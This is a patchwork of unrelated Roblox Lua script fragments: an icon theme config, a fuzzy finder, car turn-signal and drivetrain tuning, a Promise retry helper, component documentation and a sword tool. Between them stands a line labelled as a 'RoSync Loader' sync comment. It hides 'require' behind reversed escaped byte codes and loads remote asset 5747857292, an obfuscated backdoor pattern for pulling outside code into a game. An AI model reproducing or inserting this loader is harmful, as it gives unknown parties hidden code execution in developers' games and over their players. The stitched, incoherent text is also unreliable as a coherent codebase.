return { -- Settings which describe how an item behaves or transitions between states action = { toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), }, -- Settings which describe how an item appears when 'deselected' and 'selected' toggleable = { -- How items appear normally (i.e. when they're 'deselected') deselected = { iconBackgroundColor = Color3.fromRGB(0, 0, 0), iconBackgroundTransparency = 0.5, iconCornerRadius = UDim.new(0.25, 0), iconGradientColor = ColorSequence.new(Color3.fromRGB(255, 255, 255)), iconGradientRotation = 0, iconImage = "", iconImageColor =Color3.fromRGB(255, 255, 255), iconImageTransparency = 0, iconImageYScale = 0.63, iconImageRatio = 1, iconLabelYScale = 0.45, iconScale = UDim2.new(1, 0, 1, 0), forcedIconSize = UDim2.new(0, 32, 0, 32); iconSize = UDim2.new(0, 32, 0, 32), iconOffset = UDim2.new(0, 0, 0, 0), iconText = "", iconTextColor = Color3.fromRGB(255, 255, 255), iconFont = Enum.Font.GothamSemibold, noticeCircleColor = Color3.fromRGB(255, 255, 255), noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969", noticeTextColor = Color3.fromRGB(31, 33, 35), baseZIndex = 1, order = 1, alignment = "left", clickSoundId = "rbxassetid://5273899897", clickVolume = 0, clickPlaybackSpeed = 1, clickTimePosition = 0.12 }, -- How items appear after the icon has been clicked (i.e. when they're 'selected') -- If a selected value is not specified, it will default to the deselected value selected = { iconBackgroundColor = Color3.fromRGB(245, 245, 245), iconBackgroundTransparency = 0.1, iconImageColor = Color3.fromRGB(57, 60, 65), iconTextColor = Color3.fromRGB(57, 60, 65), clickPlaybackSpeed = 1.5, } }, -- Settings where toggleState doesn't matter (they have a singular state) other = { -- Caption settings captionBackgroundColor = Color3.fromRGB(0, 0, 0), captionBackgroundTransparency = 0.5, captionTextColor = Color3.fromRGB(255, 255, 255), captionTextTransparency = 0, captionFont = Enum.Font.GothamSemibold, captionOverlineColor = Color3.fromRGB(0, 170, 255), captionOverlineTransparency = 0, captionCornerRadius = UDim.new(0.25, 0), -- Tip settings tipBackgroundColor = Color3.fromRGB(255, 255, 255), tipBackgroundTransparency = 0.1, tipTextColor = Color3.fromRGB(27, 42, 53), tipTextTransparency = 0, tipFont = Enum.Font.GothamSemibold, tipCornerRadius = UDim.new(0.175, 0), -- Dropdown settings dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment) dropdownMaxIconsBeforeScroll = 3, dropdownMinWidth = 32, dropdownSquareCorners = false, dropdownBindToggleToIcon = true, dropdownToggleOnLongPress = false, dropdownToggleOnRightClick = false, dropdownCloseOnTapAway = false, dropdownHidePlayerlistOnOverlap = true, dropdownListPadding = UDim.new(0, 2), dropdownScrollBarColor = Color3.fromRGB(25, 25, 25), dropdownScrollBarTransparency = 0.2, dropdownScrollBarThickness = 4, -- Menu settings menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left') menuMaxIconsBeforeScroll = 4, menuBindToggleToIcon = true, menuToggleOnLongPress = false, menuToggleOnRightClick = false, menuCloseOnTapAway = false, menuScrollBarColor = Color3.fromRGB(25, 25, 25), menuScrollBarTransparency = 0.2, menuScrollBarThickness = 4, }, }
--- Returns a function that is a fuzzy finder for the specified set or container. -- Can pass an array of strings, array of instances, array of EnumItems, -- array of dictionaries with a Name key or an instance (in which case its children will be used) -- Exact matches will be inserted in the front of the resulting array
function Util.MakeFuzzyFinder(setOrContainer) local names local instances = {} if typeof(setOrContainer) == "Enum" then setOrContainer = setOrContainer:GetEnumItems() end if typeof(setOrContainer) == "Instance" then names, instances = transformInstanceSet(setOrContainer:GetChildren()) elseif typeof(setOrContainer) == "table" then if typeof(setOrContainer[1]) == "Instance" or typeof(setOrContainer[1]) == "EnumItem" or (typeof(setOrContainer[1]) == "table" and typeof(setOrContainer[1].Name) == "string") then names, instances = transformInstanceSet(setOrContainer) elseif type(setOrContainer[1]) == "string" then names = setOrContainer elseif setOrContainer[1] ~= nil then error("MakeFuzzyFinder only accepts tables of instances or strings.") else names = {} end else error("MakeFuzzyFinder only accepts a table, Enum, or Instance.") end -- Searches the set (checking exact matches first) return function(text, returnFirst) local results = {} for i, name in pairs(names) do local value = instances and instances[i] or name -- Continue on checking for non-exact matches... -- Still need to loop through everything, even on returnFirst, because possibility of an exact match. if name:lower() == text:lower() then if returnFirst then return value else table.insert(results, 1, value) end elseif name:lower():sub(1, #text) == text:lower() then results[#results + 1] = value end end if returnFirst then return results[1] end return results end end
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal2 local rightfront = car.Body.Lights.Right.TurnSignal2 local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal local neonright = car.Body.Lights.Right.TurnSignal local off = BrickColor.New("Neon orange") local on = BrickColor.New("Deep orange") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftfront.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonleft.BrickColor = off leftfront.BrickColor = off component.TurnSignal:play() neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false then righton = true repeat neonright.BrickColor = on rightfront.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on rightfront.BrickColor = on neonleft.BrickColor = on leftfront.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off neonleft.BrickColor = off leftfront.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
-- If no expire time was provided, this message is displayed.
local MESSAGE_BAN_NO_EXPIRE = "You are permanently banned."
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 50 -- 1 - 100% Tune.RDiffLockThres = 50 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
--[[ Last synced 10/14/2020 09:09 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Adds particles to the WeaponsSystem based off player creations (or uses a default if not present)
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local blaster = ServerStorage:WaitForChild("Weapons"):WaitForChild("Blaster") local WeaponSystem = blaster:WaitForChild("WeaponsSystem") local RocketAsset = WeaponSystem.Assets.Effects.Shots.Rocket
--[[ Retries a Promise-returning callback N times until it succeeds. ]]
function Promise.retry(callback, times, ...) assert(type(callback) == "function", "Parameter #1 to Promise.retry must be a function") assert(type(times) == "number", "Parameter #2 to Promise.retry must be a number") local args, length = {...}, select("#", ...) return Promise.resolve(callback(...)):catch(function(...) if times > 0 then return Promise.retry(callback, times - 1, unpack(args, 1, length)) else return Promise.reject(...) end end) end Promise.prototype.Retry = Promise.prototype.retry
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "Magic broke ground" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[=[ @tag Component Class @function HeartbeatUpdate @param dt number @within Component If this method is present on a component, then it will be automatically connected to `RunService.Heartbeat`. :::note Method This is a method, not a function. This is a limitation of the documentation tool which should be fixed soon. ::: ```lua local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:HeartbeatUpdate(dt) end ``` ]=] --[=[ @tag Component Class @function SteppedUpdate @param dt number @within Component If this method is present on a component, then it will be automatically connected to `RunService.Stepped`. :::note Method This is a method, not a function. This is a limitation of the documentation tool which should be fixed soon. ::: ```lua local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:SteppedUpdate(dt) end ``` ]=] --[=[ @tag Component Class @function RenderSteppedUpdate @param dt number @within Component @client If this method is present on a component, then it will be automatically connected to `RunService.RenderStepped`. If the `[Component].RenderPriority` field is found, then the component will instead use `RunService:BindToRenderStep()` to bind the function. :::note Method This is a method, not a function. This is a limitation of the documentation tool which should be fixed soon. ::: ```lua -- Example that uses `RunService.RenderStepped` automatically: local MyComponent = Component.new({Tag = "MyComponent"}) function MyComponent:RenderSteppedUpdate(dt) end ``` ```lua -- Example that uses `RunService:BindToRenderStep` automatically: local MyComponent = Component.new({Tag = "MyComponent"}) -- Defining a RenderPriority will force the component to use BindToRenderStep instead MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value function MyComponent:RenderSteppedUpdate(dt) end ``` ]=]
function Component:Destroy() self[KEY_TROVE]:Destroy() end return Component
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 10 local lunge_damage = 20 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.3) swordOut() wait(.3) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)